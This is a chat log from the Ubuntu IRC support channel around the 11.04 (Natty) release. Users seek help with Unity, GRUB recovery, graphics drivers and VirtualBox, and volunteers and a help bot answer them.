[09:22] <sudipta> <laughzilla>ur estab entry is properly set...check that out
[09:22] <Robert__> stefg_natty__: uhhh ya i dont know that much
[09:22] <Guest4840> resc_user_2649, "uname -r"
[09:22] <h-dee> Hi....Simple question. Currently using 10.10, and I'm thinking about switching to 11.04. But, I'm unsure if Unity 3D will work on my Laptop (No external GPU...only Intel's inbuilt card).
[09:22] <Guest4840> resc_user_2649, without quotes...
[09:22] <vibhav> <h-dee> Can you tell me the card specs?
[09:23] <resc_user_2649> amd64
[09:23] <laughzilla> sudipta - yes i checked /etc/fstab and sure enough my data drive is not listed in there.
[09:23] <h-dee> vibhav: just a sec.
[09:23] <stefg_natty> h-dee: make sure you have a fresh backup ready to restore in case something breaks or find yourself hating the new UI
[09:23] <resc_user_2649> the out put amd54
[09:23] <Jordan_U> resc_user_2649: Do you mind burning another CD? Using Super GRUB2 Disk will make this easier.
[09:23] <Robert__> stefg_natty__: uhhhh ya i dont know that much
[09:23] <vibhav> <h-dee> Or if unity 3d does not work then you can install unity 2d
[09:23] <h-dee> stefg_natty: Backup is always ready. thanx! First things first!
[09:23] <h-dee> vibhav: thanx vibhav. Let me check the specs.
[09:23] <sudipta> <laughzilla>then u need to put an entry there....
[09:24] <resc_user_2649> i burned a cid rescatux... and now i chating from rescatux
[09:24] <vibhav> <resc_user_2649> The grub fix CD?
[09:24] <stefg_natty> Robert__ so need to explain a little further what doesn't work. You can't get anything to boot inside virtualbox?
[09:24] <h-dee> vibhav: Intel's Integrated Graphics Controller GM965/GL960
[09:24] <resc_user_2649> can i restore it from rescatux
[09:24] <vibhav> <h-dee> wait
[09:25] <h-dee> vibhav: Sure!
[09:25] <laughzilla> sudipta yes i figured that ... now i am looking for example syntax of what i should put.
[09:25] <sudipta> <vibhav>isn't it in the repo....the usual get-install way
[09:25] <Robert__> stefg_natty__:yes nothing will boot i have a usb ready to boot and a cd ready to boot
[09:25] <Jordan_U> resc_user_2649: Yes, but you'll need to find how to get to a terminal in rescatux.
[09:26] <resc_user_2649> i know i get terminal
[09:26] <resc_user_2649> from application menu i gor terminal
[09:26] <vibhav> <h-dee> Minimum
[09:26] <vibhav> 	
[09:26] <vibhav> 1.66 GHz
[09:26] <vibhav> 	
[09:26] <vibhav> 32 bits
[09:26] <vibhav> 	
[09:26] <FloodBot1> vibhav: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:26] <Jordan_U> resc_user_2649: OK. In the terminal please run "uname -m" tell me what it outputs.
[09:26] <stefg> Robert__: and you have set the machine to boot from , say, CD first and have mounted an ISO image to the virtual CD-drive?
[09:26] <sweb> did you get bug from unchangable gnome theme ? after installation theme transfered to old and gray theme that can be unchangable ? i'm testet on Vmbox and Asus eeepc netbook [linux based netbook]
[09:27] <h-dee> vibhav: Was that CPU requirements? or G-card?
[09:27] <sweb> we install v 9.10 on asus eeepc without any problem
[09:27] <sudipta> <vibhav>isn't it in the repo....the usual get-install way
[09:27] <h-dee> vibhav: no external GPU...so don't know abt clock speed..
[09:27] <resc_user_2649> the out put is x86_64
[09:27] <sweb> v 11.04 disappoint us
[09:27] <vibhav> h-dee unity will work
[09:27] <Robert__> stefg__:see it wont let me mount there is no option to mount
[09:27] <h-dee> vibhav: JFYI...processor 2.0 GHz 64-bit
[09:27] <vibhav> <sudipta> oh no
[09:27] <h-dee> vibhav: Thanx vibhav
[09:28] <vibhav> h-dee Welcome!
[09:28] <sudipta> <vibhav>what?
[09:28] <h-dee> vibhav: By the way, if I suppose want to install Gnome 3 instead of Unity?
[09:28] <vibhav> <h-dee> lemme see
[09:28] <Jordan_U> resc_user_2649: OK, then you should be able to follow this guide: http://webcache.googleusercontent.com/search?q=cache:http://grub.enbug.org/Grub2LiveCdInstallGuide
[09:28] <atlef> !gnome3 | h-dee
[09:28] <ubottu> h-dee: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[09:28] <trijntje> How can I get the 'check cd for defects' option from the live cd? It doesnt show that by default any more
[09:29] <h-dee> atlef: Thanx! atleast it can support. Good for experimental purpose.
[09:29] <stefg> Robert__: you'll need to add a controller... but i think you shoud re-read the vbox docs. it's getting offtopic for the ubunut support channel
[09:29] <Jordan_U> trijntje: Press any key during the first 5 seconds of boot (when you see the keyboard = accessability symbols).
[09:29] <Incarus6> Tweaky, change dir (cd) in that new directory and type "apt-get download xserver-common x11-common x11-xkb-utils xserver-xorg-core libdrm-nouveau1 xserver-xorg-video-all xserver-xorg-video-tseng nvidia-current-modaliases nvidia-common xserver-xorg-video-apm xserver-xorg-video-ark xserver-xorg-video-ati fglrx xorg-video-abi-8.0 xserver-xorg-video-s3virge xserver-xorg-video-chips xserver-xorg-video-trident xserver-xorg-video-sis xserver-xorg-
[09:29] <Incarus6> video-siliconmotion xserver-xorg-video-savage xserver-xorg-video-tdfx xserver-xorg-video-intel xserver-xorg-video-vesa xserver-xorg-video-s3 xserver-xorg-video-voodoo xserver-xorg-video-fbdev xserver-xorg-video-nouveau xserver-xorg-video-neomagic xserver-xorg-input-mouse xserver-xorg-video-sisusb xserver-xorg-video-tseng xserver-xorg-video-cirrus xserver-xorg-input-synaptics xorg-input-abi-11.0 xserver-xorg-video-rendition xserver-xorg-video-
[09:29] <Incarus6> i128 xserver-xorg-video-mach64 xserver-xorg-video-r128 libdrm-dev xserver-xorg-video-radeon xserver-xorg-video-nv libgl1-mesa-dri" (without SU rights)
[09:29] <FloodBot1> Incarus6: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:29] <atlef> trijntje, it does on my livecd
[09:29] <snowrichard> o
[09:29] <vibhav> <h-dee> if you install gnome 3 it will break your unity
[09:29]  * Incarus6 actually that command was long
[09:29] <snowrichard> drowning from the flood lol
[09:30] <vibhav> lol
[09:30] <Incarus6> vibhav, am I still muted?
[09:30] <Tweaky> icarus6: lol!
[09:30] <trijntje> Jordan_U, thanks!
[09:30] <Jordan_U> trijntje: You're welcome.
[09:30] <trijntje> Incarus6, nope
[09:30] <vibhav> <Incarus6> NO
[09:30] <h-dee> vibhav: Thanx! I'll try that on my VM first then. Thanks for the help. Have a great day.
[09:30] <Robert__> stefg__:what do you mean off topic
[09:30] <klrbees> is there anything like cheat engine for ubuntu?
[09:30] <vibhav> h-dee Welcome!
[09:30] <usalabs> <h-dee> you can switch to classic gnome by logging out, and click your username, and select 'classic' at the bottom bar,,, or run the app called 'Login Screen' and change the session to 'Classic'
[09:31]  * Incarus6 will use pastebin for commands next time :D
[09:31] <h-dee> usalabs: Thanks for the suggestion usalabs...seems like I'm surely heading for 11.04 :)
[09:31] <stefg> Robert__: http://www.virtualbox.org/manual/ch03.html#settings-storage will explain the details. offtopicmeans that this is the ubuntu support chat, and your virtualbox question isn't really ubuntu-related
[09:32] <vibhav> <stefg> but neither it is offtopic
[09:32] <Tweaky> icarus6: E: Invalid operation download
[09:32] <drk-matr> How do you reduce unity search(I think its called lens) function?
[09:32] <Robert__> stefg__:well then where the frick do i get some one to help me with vbox
[09:33] <klrbees> is natty narwhal worth using
[09:33] <vibhav> <klrbees> According to me , yes
[09:33] <stefg> Robert__: the link i gave you points to the online manual of virtualbox... and then there is the dedictaed channel #vbox
[09:34] <drk-matr> ccsm only allows you to change the size of launcher icons
[09:34] <usalabs> 11.04 sucks, I just now for no reason, got logged out of ubuntu and straight to the log in screen, all by itself,,, this never happened with 10.10
[09:34] <Robert__> stefg__:how do i get to that channel
[09:34] <besfort> does anyone now if ubuntu 11.04 have the same problems with HP 620
[09:34] <red2kic> Robert__: Click on this --> #vbox
[09:34] <Incarus6> Tweaky, don't mistype my name ;) are you sure you typed the command correctly?
[09:35] <red2kic> Robert__: or you can type this -->  /j #vbox
[09:35] <Tweaky> incarus6: my mistake! i believe so
[09:35] <raven_> shotwell: possible to display all images?
[09:35] <pfifo> my monitor broke, can I get ubuntu to just print out the tty... on paper
[09:35] <Flynsarmy> atlef: Aha! killall -9 gnome-settings-daemon && gnome-settings-daemon fixes it
[09:36] <Flynsarmy> Does installing unity-2d just give you the option to use it alongside 3D or does it actually break unity-3d?
[09:36] <stefg> pfifo: to get that 60's feeling?  .... i'd rather ssh into that box
[09:37] <Incarus6> Tweaky, try http://paste.ubuntu.com/601205/ otherwise try the same command in the paste with aptitude download instead of apt-get download
[09:37] <Incarus6> pfifo, :D
[09:37] <raven_> shotwell: possible to display all images?
[09:38] <Incarus6> Flynsarmy, it doesn't break Unity-3D, it gives you an extra option
[09:38] <Flynsarmy> Incarus6: thanks
[09:38] <resc_user_2649> i cant install grub 2 by using tat gude also
[09:38] <Incarus6> resc_user_2649, use that guide: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
[09:39] <cockkk> hi
[09:39] <raven_> shotwell: possible to display all images?
[09:39] <Susanna> Just updated Ubuntu and graphic is dead slow now. I have two screens and an intel graphic-card
[09:39] <Susanna> Someone experienced same problem
[09:39] <Incarus6> Susanna, did you try to start the classic gnome and did that work properly? If not try it
[09:39] <Susanna> As well the resolution of my second screen isn't supported anymore
[09:39] <stefg> Susanna: using unity?
[09:40] <Susanna> Thaks Incarus6
[09:40] <resc_user_2649> helo anyone help how to recover grub2 using rescatux 0.26
[09:40] <atlef> what version of gnome is in natty? 2.32
[09:40] <CooKieMonster> if i want to play all streaming format audio /video what code should i get for ubuntu ?
[09:40] <Incarus6> atlef, correct
[09:40] <Susanna> stefg yes
[09:40] <atlef> Incarus6, thx
[09:40] <Tweaky> incarus6: http://pastebin.com/WUErGJx4
[09:40] <Timelight> hello
[09:41] <Jordan_U> !restricted | CooKieMonster
[09:41] <ubottu> CooKieMonster: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[09:41] <mah454> where in minimize to tray for Xchat client ? (Unity Desktop)
[09:41] <mah454> where in minimize to tray for Xchat client ? (Unity Desktop)
[09:41] <atlef> Incarus6, and is it full gnome 2.32 or is it stripped down in any way?
[09:41] <mah454> where is minimize to tray for Xchat client ? (Unity Desktop)
[09:41] <stefg> Susanna: I'd resort to 'classic'. Seems that the (oh so resource-friendly, 3D-needing) new desktop overstresses  the capabilities of you hardware
[09:41] <raven_> shotwell: possible to display all images?
[09:41] <Incarus6> Tweaky, type "sudo aptitude update" and repeat the aptitude download command
[09:42] <Timelight> does someone else also slow internet on ubuntu 11.04?
[09:42] <atlef> !patience |  raven_
[09:42] <ubottu> raven_: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[09:43] <PresuntoRJ> just upgraded to natty from maverick on my second machine and it has failed miserably... wont boot no matter what...  the screen is blank ... it still runs with a live CD (lucid) I have here...
[09:43] <haroon> my wireless start got working using wicd but few application behaves like that their no internet connection (application empathy ,ubuntu one etc all default app) but thurderbird browser and skype is also working fine. what should I do to rectify this
[09:43] <PresuntoRJ> complete disaster
[09:43] <gurmal> hi I use ubuntu 9.1 -- p4 1.8 ghz 512 mb ram (no agp) ...it seems ubuntu i taking high alarming high CPU (100%) when i run rythmbox ,vlc . Any tips on making lean. I dont want to install XFCE or something
[09:44] <Incarus6> PresuntoRJ, is grub showing up?
[09:44] <PresuntoRJ> Incarus6: nope... not even grub
[09:44] <milen8204> Any one can help a bit whit mounting a partition to /home folder
[09:44] <raven_> shotwell: possible to display all images?
[09:44] <milen8204> ?
[09:44] <PresuntoRJ> Incarus6: just a black and sad screen... the HDD keeps spining for a while, and then stops
[09:44] <Incarus6> PresuntoRJ, could be a grub-only issue, did you try to recover grub?
[09:45] <ratc> gurmal , try to use a different kernel version
[09:45] <PresuntoRJ> Incarus6: is there a guide to assist?
[09:45] <Incarus6> !grub > PresuntoRJ
[09:45] <ubottu> PresuntoRJ, please see my private message
[09:46] <gurmal> @ratc how can i downgrade current kernel version using apt
[09:46] <Jordan_U> PresuntoRJ: Do you have more than one hard drive?
[09:46] <haroon> my wireless start got working using wicd but few application behaves like that their no internet connection (application empathy ,ubuntu one etc all default app) but thurderbird browser and skype is also working
[09:46] <Renski> ok, this unity thing is disgusting. How do I switch it back?
[09:47] <ocool> GPG error: http://ppa.launchpad.net maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 9BDB3D89CE49EC21
[09:47] <Incarus6> gurmal, you can't downgrade because the every kernel is installed seperatly. just install an older version
[09:47] <CooKieMonster> which version restricted extra  shjould i use if i got 8.04 ubuntu
[09:47] <ocool> what this error tell abt?
[09:47] <PresuntoRJ> Jordan_U: yes, the / is /dev/sda1, /usr is /dev/sda5 and /home at /dev/sdb1
[09:47] <Timelight> i got the same problem as haroon. wireless works but some programs act like there is almost no internet
[09:47] <atlef> Renski, log out and choose ubuntu classic
[09:47] <Incarus6> Renski, choose Ubuntu Classic at the login screen
[09:47] <Renski> its trying to be OSX
[09:47] <Renski> ty
[09:47] <ocool> GPG error: http://ppa.launchpad.net maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 9BDB3D89CE49EC21
[09:47] <ocool> ?
[09:47] <Giles> How do I log in to the "unity" desktop?
[09:47] <gurmal> yuck
[09:47] <Incarus6> CooKieMonster, you are still using 8.04?
[09:48] <Jordan_U> PresuntoRJ: Your BIOS probably just isn't booting from the drive grub is installed to. Try changing the boot order in the BIOS.
[09:48] <CooKieMonster> yes
[09:48] <CooKieMonster> why ?
[09:48] <Giles> At the login screen I have options "ubuntu, ubuntu classic, ubuntu classic (no effects), custom"
[09:48] <Timelight> giles at the log in screen. there is a option below for that
[09:48] <ocool> hello help me to get over this error?
[09:48] <ocool> GPG error: http://ppa.launchpad.net maverick Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 9BDB3D89CE49EC21
[09:48] <milen8204> Giles, I think you have to install drivers for your video card
[09:48] <ocool> ?
[09:48] <atlef> CooKieMonster, use "ubuntu"
[09:48] <gurmal> ps i hate mec
[09:48] <haroon> my wireless start got working using wicd but few application behaves like that their no internet connection (application empathy ,ubuntu one etc all default app) but thurderbird browser and skype is also working  unity 11.04
[09:49] <drk-matr> how do you customize the thing that comes onto the screen when you press the super key in unity....its big and I'd like it to be atleast 25% of the orignal size
[09:49] <Renski> much better, thank you atlef and Incarus6
[09:49] <Incarus6> CooKieMonster, which version of 8.04? 8.04.4 LTS? is that still supported?
[09:49] <PresuntoRJ> Jordan_U: I will check, but why on earth the upgrade to natty would, out of the blue, change my bios settings? have this is a machine in use since 8.04, and upgraded flawlessly since
[09:49] <Giles> milen8204: I removed the nvidia-current package, because it usually causes problems with my non nvidia card...
[09:49] <Jordan_U> PresuntoRJ: It wouldn't. If that is what is happening then it would most likely be a coincidence.
[09:49] <ocool> hello
[09:49] <ocool> ?
[09:49] <Renski> this is a note book, and unity took far too long to load, ive got back to classic noeffects
[09:49] <milen8204> Giles, I had a problems whit ubuntu starting when I updated to 11.04
[09:49] <drk-matr> atleast tell me what its called so that I can google it??
[09:50] <Giles> milen8204: ouch.
[09:50] <raven_> shotwell: possible to display all images?
[09:50] <CooKieMonster> after installed the ubuntu restriced extra  i still can't play windows based streaming audio
[09:50] <milen8204> Giles, and then I updated nvidia drives and the Unity started.\
[09:50] <Giles> milen8204: so where did the "desktop effects" tab go in the classic desktop...
[09:50] <PresuntoRJ> Jordan_U: as expected, no, the boot order is corret
[09:50] <CooKieMonster> so so lame
[09:50] <Incarus6> Tweaky, is it working?
[09:51] <voidr> hiMik, I have a hybrid card configuration that causes problems with Xorg, is there a way to disable one of them form the kernel?
[09:51] <Timelight> why is wireless internet slow on ubuntu 11
[09:51] <voidr> soory I meant "hi"
[09:51] <milen8204> Giles, it works whit a notice for me I have chose classic desctop
[09:51] <Giles> milen8204: yes, the first time I logged in it said that my hardware doesn't support unity.
[09:51] <Jordan_U> PresuntoRJ: Can you run boot info script as explained here: http://ubuntuforums.org/showthread.php?t=1291280 and pastebin the RESULTS.txt?
[09:51] <Incarus6> voidr, can you paste /var/log/Xorg.0.log ?
[09:52] <Giles> milen8204: what did you do exactly?
[09:52] <Incarus6> Timelight, https://bugs.launchpad.net/ubuntu/+source/linux/+bug/728969
[09:52] <ubottu> Ubuntu bug 728969 in linux (Ubuntu) "Wireless connection very slow and weak on Natty Alpha 3" [Undecided,New]
[09:52] <Acriax> Hmm, the "Places" and stuff that are supposed to show up when you hover the mouse over the top bar doesn't show up for me.
[09:52] <PresuntoRJ> Jordan_U: I am not sure if I have got it right... how could I install something in my hdd if it wont boot?
[09:53] <Jordan_U> PresuntoRJ: You can run boot info script from a LiveCD.
[09:53] <netztrip> hi, is it possible to disable this new omnipresent triange in the lower right corner of every window?
[09:53] <Robert__> stefg__: well that didn't get me anywhere
[09:53] <raven_> shotwell: possible to display all images?
[09:53] <PresuntoRJ> Jordan_U: ok, it was not clear... I will try then
[09:53] <netztrip> maybe a super secret environment variable...
[09:53] <milen8204> Giles, whit the massage I have house the "X" button and classic desktop stated
[09:54] <Giles> milen8204: yeah... I am in classic desktop, I want to try unity...
[09:54] <adzy> how do i activate unity?
[09:54] <milen8204> Giles, then I did update to my nvidia drivers and unity starts, I am not so happy whit this now but :D you know
[09:54] <Tweaky> incarus6: not sure 1 sec sorry
[09:54] <voidr> Incarus6, http://pastebin.com/nGB1zrkC
[09:54] <Incarus6> Giles, you could try Unity-2D, while you are in gnome
[09:54] <voidr> basically the two cards confuse Xorg
[09:54] <Vustom> What Ubuntu desktop recorder is this guy using..? http://www.youtube.com/watch?v=_MhJB9yC7Bo
[09:55] <Vustom> I want it. :D
[09:55] <adzy> how do i activate unity?
[09:55] <drk-matr> how do you customize the thing that comes onto the screen when you press the super key in unity....its big and I'd like it to be atleast 25% of the orignal size
[09:55] <cockkk> hello
[09:55] <Giles> Incarus6: I am pretty sure my hardware supports 3D, I had wobbly windows before.
[09:55] <milen8204> Giles, update your drivers manually and restart your PC and Unity will start, it started for me.
[09:55] <cockkk> i hate unity and gnome 3 shit
[09:55] <bazhang> cockkk, no cursing
[09:55] <Seqis> what are the so-called "ubuntu classic desktop" users to do when they remove that option altogether in 11.10
[09:55] <cockkk> can i use gnome clasical
[09:55] <adzy> hey cockkk how do i activate unity?
[09:55] <Giles> Incarus6: I usually have this problem when I upgrade ubuntu, it things I need the nvidia drivers, but my hardware is not nvidia based.
[09:56] <atlef> Vustom, gtk-recordmydesktop
[09:56] <haroon> my wireless start got working using wicd but few application behaves like that their no internet connection (application empathy ,ubuntu one etc all default app) but thurderbird browser and skype is also working  unity 11.04 but when I start that application from terminal using sudo it works
[09:56] <Incarus6> Giles, there are several issues with proprietary drivers in Unity
[09:56] <cockkk> can i use gnome clasical
[09:56] <Giles> milen8204: How did you "update your drivers manually"
[09:56] <cockkk> adzy
[09:56] <bazhang> cockkk, yes choose at login window
[09:56] <cockkk> install graphical drivers
[09:56] <adzy> yes?
[09:56] <MACscr> how do i move the unity launcher to my left menu?
[09:56] <Ubuntu123> I have a problem with ubuntu 11.04
[09:56] <Incarus6> Giles, yes. line 292, [    28.728] (EE) Failed to initialize GLX extension (Compatible NVIDIA X driver not found)
[09:56] <adzy> cockkk yes?
[09:56] <Giles> Incarus6: I don't have a proprietary driver... its an intel one...
[09:56] <cockkk> install graphical drivers adzy :)
[09:56] <MACscr> er, left monitor
[09:56] <milen8204> Giles, through nvidia site :D i downloaded it and install it
[09:57] <adzy> i had unity running before but dunno how i did it?
[09:57] <Giles> milen8204: I don't have an nvidia card....!
[09:57] <voidr> yeah it is using the intel card but then it wants to use the nvidia....
[09:57] <milen8204> what card do you have ?
[09:57] <Robert__> dear lord when i installed ubuntu i didn't realize it was going to consume my whole life
[09:57] <cockkk> install graphical drivers adzy :)
[09:57] <Giles> 00:02.0 VGA compatible controller: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (primary) (rev 0c)
[09:57] <cockkk> i hate unity and gnome 3 shit
[09:57] <cockkk> can i use gnome clasical
[09:58] <voidr> this is what I have http://pastebin.com/W3xjyrwg
[09:58] <Incarus6> Giles, you got two graphic cards? whats the second one?
[09:58] <Giles> Incarus6: eh?
[09:58] <Giles> oh
[09:58] <Giles> 00:02.1 Display controller: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller (secondary) (rev 0c)
[09:59] <Incarus6> Giles, nevermind, wrong person ;)
[09:59] <Incarus6> voidr, you use two graphic cards? which is the second one?
[09:59] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....is anyone having same kind of problems...can anyone help?
[09:59] <Giles> Incarus6: but you are right, there are two entries.
[09:59] <voidr> Incarus6, http://pastebin.com/W3xjyrwg
[09:59] <Robert__> any one else feel like Ubuntu is a tad to complicated
[09:59] <Incarus6> Giles, that is correct, both cards are smiliar I think (its just one of them, doesnt matter)
[09:59] <Giles> Robert__: no.
[10:00] <MACscr> No one knows how to move the unity launcher to a different monitor?
[10:00] <Robert__> Giles__:should have guessed id get that answer
[10:00] <waide> Jemand da ? Some1 here?
[10:00] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....is anyone having same kind of problems...can anyone help?
[10:00] <Giles> Incarus6: How can I assure I have 3D working... I have tried glxgears, glxinfo.
[10:00] <bazhang> !de | waide
[10:00] <ubottu> waide: In den meisten ubuntu-Kanälen wird nur Englisch gesprochen. Für deutschsprachige Hilfe besuchen Sie bitte #ubuntu-de, #kubuntu-de, #edubuntu-de oder #ubuntu-at. Geben Sie einfach /join #ubuntu-de ein! Danke für Ihr Verständnis.
[10:00] <Shaggy2> I have a problem with rythmbox 0.12.8 the visualisations are lagging is like 1 image refresh per second
[10:00] <Incarus6> voidr, and you prefer the intel or the nvidia? Ah I see, you use Sandybridge. The integrated GPU isn't supported yet
[10:01] <Giles> Ubuntu123: yes
[10:01] <bazhang> Robert__, chit chat in #ubuntu-offtopic please
[10:01] <voidr> Incarus6, I would love to have the NVidia card only and somehow disable the intel
[10:01] <muyinliu> hello
[10:02] <Giles> Incarus6, I would love to have the intel card only and somehow disable the NVidia ;)
[10:02] <voidr> but other way around would be fine too I gues Incarus6
[10:02] <Chepoll> Question: Upon booting my computer, it said that a new release of namby or whatever was out, and that i should do-something-something. It installed a GB load of stuff, or so it said,and now I'm unable to do few things. I cannot launch Software-update-center, I cannot apt-get install conkeror, I cannot use my terminal emulator properly urxvt
[10:02] <Ubuntu123> <Giles>yes pls...do...i dont know what to do now
[10:02] <Robert__> bazhang__: oh no i have loads of ontopic questions i was just makeing a statement
[10:02] <bazhang> Chepoll, please be more precise
[10:02] <Incarus6> Giles, not in his case, Intel card isnt working here. try "/usr/lib/nux/unity_support_test -p "
[10:02] <Giles> Ubuntu123: Neither do I, I was just saying I am also having problems, and that someone can help ;)
[10:02] <bazhang> Chepoll, some exact error messages would be a good start
[10:02] <Tweaky> incarus6: http://pastebin.com/2AbjzqDK
[10:02] <milen8204> Anyone knows how to switch to classic desktop trough Unity?
[10:03] <bazhang> milen8204, at the login window
[10:03] <Incarus6> Tweaky, enable standard repos and disable the "sarvatt" repo
[10:03] <Ubuntu123> Giles:ohh...that's ok....ddi u find any solution
[10:03] <Giles> Incarus6: giles@masala:~$ ls /usr/lib/nux    ls: cannot access /usr/lib/nux: No such file or directory
[10:03] <Chepoll> bazhang: okay, firstly, my error from urxvt : when I try "clear" command, it says "rxvt-256color", unknown terminal type
[10:03] <Acriax> Is Unity configurable in any way? Right clicking doesn't work and I haven't found anything in the settings yet
[10:03] <milen8204> bazhang, could you be more specific ?
[10:04] <Chepoll> When I'm starting ubuntu, it says my hardware is not proper to start unity
[10:04] <Ubuntu123> Giles:same sort of problem as mine?
[10:04] <Incarus6> Giles, are you using Natty (11.04)?
[10:04] <Giles> Ubuntu123: I am trying to find one
[10:04] <bazhang> milen8204, you need to log out of unity then login window choose classic
[10:04] <Giles> Incarus6: yes.
[10:04] <Chepoll> oh, it was "natty", byt the way, the one that I had to install upon boot
[10:04] <Chepoll> I mean, I chose to install
[10:04] <usb333> I just upgraded to Natty and it won't boot. It says "The disk drive for / is not ready yet or not present. Continue to wait; or Press S to skip mounting or M for manual recovery"
[10:04] <Ciccio89> hi, i have this problem: i install ubuntu 11.04 but now the visual effects do not work. I have a video card nvidia geforce go 7300 and drivers that are installed are those that you recommend ubuntu. can you help me?
[10:04] <milen8204> bazhang, thanks I thing I geet it
[10:05] <magn3ts> wait wait wait, UGR is gnome 3?
[10:05] <magn3ts> Don
[10:05] <magn3ts> Don't they realize 11.10 will come with gnom3?
[10:05] <Acriax> milen8204 the dropdown box to switch to classic is at the bottom of the screen after you've typed in your password
[10:05] <PresuntoRJ> Jordan_U: just got the RESULTS.txt on this notebook from the other system...
[10:05] <Giles> Incarus6: giles@masala:~$ lsb_release -a No LSB modules are available. Distributor ID:	Ubuntu Description:	Ubuntu 11.04 Release:	11.04 Codename:	natty
[10:05] <bazhang> magn3ts, pardon?
[10:05] <raven_> shotwell: possible to display all images?
[10:05] <PresuntoRJ> Jordan_U: http://paste.ubuntu.com/601220/
[10:06] <magn3ts> UGR is a gnome 3 ubuntu variant... 11.10 will come with Gnome 3 available as well, so what's the point of UGR?
[10:06] <magn3ts> bazhang, ^
[10:06] <milen8204> Acriax,  thanks I understand now :D
[10:06] <kaiyin> Please have a look at this: http://paste.pound-python.org/show/5906/
[10:06] <bazhang> magn3ts, yes?
[10:06] <Incarus6> voidr, try: http://www.linuxquestions.org/questions/linux-hardware-18/disable-integrated-graphics-before-new-card-install-513665/ disable the Intel graphic card, according to phoronix some GPUs from intelsandybridge aren't supported yet
[10:06] <kaiyin>  is there any problem with the swap partition?
[10:06] <magn3ts> so what exactly is the point of UGR??
[10:06] <voidr> thanks Incarus6
[10:06] <bazhang> magn3ts, what precisely is ugr
[10:07] <magn3ts> Ubuntu Gnome Remix
[10:07] <Jordan_U> PresuntoRJ: I'm almost certain that your BIOS is booting from either sdb or sdc.
[10:07] <magn3ts> It was in reaction to unity.
[10:07] <bazhang> magn3ts, no such entity
[10:07] <magn3ts> ?
[10:07] <Ciccio89>  hi, i have this problem: i install ubuntu 11.04 but now the visual effects do not work. I have a video card nvidia geforce go 7300 and drivers that are installed are those that you recommend ubuntu. can you help me?
[10:07] <ejv> whats ugr
[10:07] <magn3ts> http://ugr.teampr0xy.net/
[10:07] <mbrochh> how can i prevent ubuntu from locking the screen after some idle time?
[10:07] <Incarus6> voidr, I think the Sandybridge will be fully supported later this year
[10:07] <PresuntoRJ> Jordan_U: it has detect the 320 (usual boot) and shows as the first in the boot order... and also lists the 1T as secondary, and the FreeAgent (USB) and third
[10:07] <bazhang> magn3ts, completely unsupported derivate
[10:08] <Tweaky> incarus6: i dont see anything in software center that says sarvatt and i believe i only have standard repos on right now
[10:08] <ejv> thx magn3ts
[10:08] <PresuntoRJ> Jordan_U: there would be no reason for it to fail its own internal order
[10:08] <usb333> Guys, I just upgraded to Natty and it won't boot. It says "The disk drive for / is not ready yet or not present. Continue to wait; or Press S to skip mounting or M for manual recovery".
[10:08] <magn3ts> bazhang, I understand.
[10:08] <Giles> Incarus6: where can I get "unity_support_test"
[10:08] <ejv> yea appears that way doesnt it bazhang
[10:08] <gurmal> hi ..again is there a alternate update rather than using sakis3g script for connecting to mobile network (kernel 2.6)
[10:08] <ejv> heheh
[10:08] <magn3ts> I'm asking for speculation as to why they're making their own distro.
[10:08] <ejv> cuz of freedom :)
[10:08] <Incarus6> Giles, it could be that not all packages are installed / upgraded properly. check the dependencies
[10:08] <bazhang> magn3ts, speculation in #ubuntu-offtopic please
[10:08] <PresuntoRJ> Jordan_U: have just check after Incarus6 asked about it
[10:08] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....though a test shows that unity is supported...can anyone help?
[10:09] <Jordan_U> PresuntoRJ: It could be that the drive is taking long enough to be ready that it's thinking it's not there. Also be sure you're not going by drive enumeration. Drive numbering can change and may not match the way that linux numbers them.
[10:09] <Incarus6> Tweaky, pls paste /etc/apt/sources.list
[10:09] <sveinse> Congratulations on Ubuntu Natty!
[10:09] <Jordan_U> PresuntoRJ: Do you have an option for a one time boot menu?
[10:09] <Chepoll> Natty simple broke everything for me
[10:10] <Chepoll> .ask
[10:10] <Giles> Incarus6: How might I do that? I don't know which package to check the dependencies for...
[10:10] <PresuntoRJ> Jordan_U:  my fstabs are UUID only, I believe I have changed a while ago to display GRUB no matter what, with a timeout of 6 seconds
[10:10] <Chepoll> Are we supposed to repeat our questions when they don't receive an answer?
[10:10] <gurmal> hey some1 please ..again is there a alternate update rather than using sakis3g script for connecting to mobile network (kernel 2.6)
[10:10] <Incarus6> Giles, try "aptitude" and "sudo apt-get install -f"
[10:10] <PresuntoRJ> Jordan_U: is that what you mean?
[10:10] <bazhang> Chepoll, did not see one from you
[10:10] <Jordan_U> PresuntoRJ: Your fstab doesn't matter if your BIOS is loading the mbr of the wrong drive.
[10:10] <atlef> !patience |  Chepoll
[10:10] <ubottu> Chepoll: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[10:11] <lifeofguenter> hi all
[10:11] <magn3ts> :/ hmpf.
